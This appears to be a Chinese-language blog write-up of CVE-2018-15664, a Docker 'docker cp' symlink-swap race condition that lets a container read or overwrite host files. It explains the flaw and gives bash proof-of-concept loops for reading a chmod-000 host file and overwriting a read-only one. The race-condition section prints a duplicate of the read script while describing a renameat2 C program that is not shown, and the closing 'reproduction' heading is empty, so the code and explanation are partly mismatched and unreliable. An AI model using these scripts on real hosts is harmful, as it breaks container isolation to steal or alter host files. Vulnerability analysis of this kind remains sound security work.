CVE-2018-15664:Docker CP任意读写主机文件
基础知识
docker cp命令
docker cp 命令用于在docker创建的容器与宿主机文件系统之间进行文件或目录复制。比如将文件从容器拷贝到宿主机上:
docker cp container_id:file_path_in_container host_path#实例docker cp 0cd4d9d94de2:/Test.java /Test.java符号链接
符号链接(symbolic link)是 Linux 系统中的一种文件,它指向系统中的另一个文件或目录。符号链接类似于 Windows 系统中的快捷方式。符号链接的操作是透明的:对符号链接文件进行读写的程序会表现得直接对目标文件进行操作。某些需要特别处理符号链接的程序(如备份程序)可能会识别并直接对其进行操作。在*nix系统中,ln命令能够创建一个符号链接,例如:
ln -s targrt_path link_path上诉命令创建了一个名为link_path的符号链接,它指向的目标文件为target_Path。
漏洞原理
Docker会将docker cp 进行文件复制的行为分为先后两个部分:路径检查和命令解析。当用户执行docker cp命令后,Docker守护进程收到这个请求,首先会对用户给出的复制路径进行检查。如果路径中有容器内部的符号链接,则先在容器内部将其解析成路径字符串,之后再进行命令的解析。
该流程看似没毛病,但要考虑到容器内部环境是不可控的。如果在docker守护进程检查复制路径时,攻击者可以利用中间的间隙,先在这里放置一个非符号链接的常规文件或目录,检查结束后,攻击者赶在Docker守护进程使用这个路径之前将其替换为一个符号链接,且由于安全检查已经“过期”,它会信任这个新链接,那么这个符号链接就会于被打开时在宿主机上解析,从而导致目录穿越。
POC
竞争条件制造
SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag
# Create our flag.
echo "SUCCESS -- COPIED FROM THE HOST" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 000 "$SYMSWAP_TARGET"
# Run and build the malicious image.
docker build -t cyphar/symlink_swap \
--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")
# Now continually try to copy the files.
idx=0
while true
do
mkdir "ex${idx}"
docker cp "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET" "ex${idx}/out"
idx=$(($idx + 1))
done该PoC利用renameat2系统调用的RENAME_EXCHANGE标志,将目标路径与一个存根目录进行原子性的身份互换,从而彻底规避了传统“先删后建”手法中易出现ENOENT(文件不存在)的失败窗口;代码首先将目标路径初始化为指向宿主机根目录/的符号链接,同时创建一个普通目录作为存根,随后进入无限循环不断交换两者身份,如此一来,当Docker守护进程执行路径安全检查时,该路径往往呈现为一个安全的普通目录,但就在检查通过后、实际打开文件前的毫秒级间隙内,循环交换将其瞬间变回指向宿主机的符号链接,同时,利用目录而非普通文件进行交换,巧妙地避开了ENOTDIR(非目录)错误,确保Docker在后续操作中不会因路径类型不匹配而提前报错退出,从而极大地提高了竞态条件攻击的稳定性和成功率,由于无法保证检查时没有正好在交换或者换到危险链接,所以多次循环直到成功
读取内部文件
SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag
# Create our flag.
echo "SUCCESS -- COPIED FROM THE HOST" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 000 "$SYMSWAP_TARGET"
# Run and build the malicious image.
docker build -t cyphar/symlink_swap \
--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")
# Now continually try to copy the files.
idx=0
while true
do
mkdir "ex${idx}"
docker cp "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET" "ex${idx}/out"
idx=$(($idx + 1))
done当路径被交换成指向宿主机 / 的符号链接时,Docker 实际读取的是宿主机的 /w00t_w00t_im_a_flag(尽管该文件在宿主机上权限被设为 chmod 000,但 Docker 守护进程以 root 运行,依然可以读取),并将其下载到宿主机当前目录,实现敏感文件窃取
- 读取脚本中的
chmod 000:把宿主机目标文件权限设为“无任何权限”,是为了证明即使容器内用户毫无权限,Docker 守护进程(root)依然能把它强行读取出来*,突破了容器隔离的权限边界
写入文件
SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag
# Create our flag.
echo "FAILED -- HOST FILE UNCHANGED" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 0444 "$SYMSWAP_TARGET"
# Run and build the malicious image.
docker build -t cyphar/symlink_swap \
--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")
echo "SUCCESS -- HOST FILE CHANGED" | tee localpath
# Now continually try to copy the files.
while true
do
docker cp localpath "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET"
done
当内部的 C 程序恰好把 /totally_safe_path 交换成指向宿主机 / 的符号链接时,Docker 守护进程会把这个写入路径解析为宿主机的 /w00t_w00t_im_a_flag,于是原本写给容器的文件,直接被写入了宿主机根目录,成功覆盖了之前的初始内容。
- 写入脚本中的
chmod 0444:先把宿主机的目标文件设为只读,是为了证明攻击成功后,文件内容从"FAILED"变成了"SUCCESS",说明攻击者拥有覆盖宿主机任意只读文件*的能力(提权或留后门的前兆)
漏洞复现

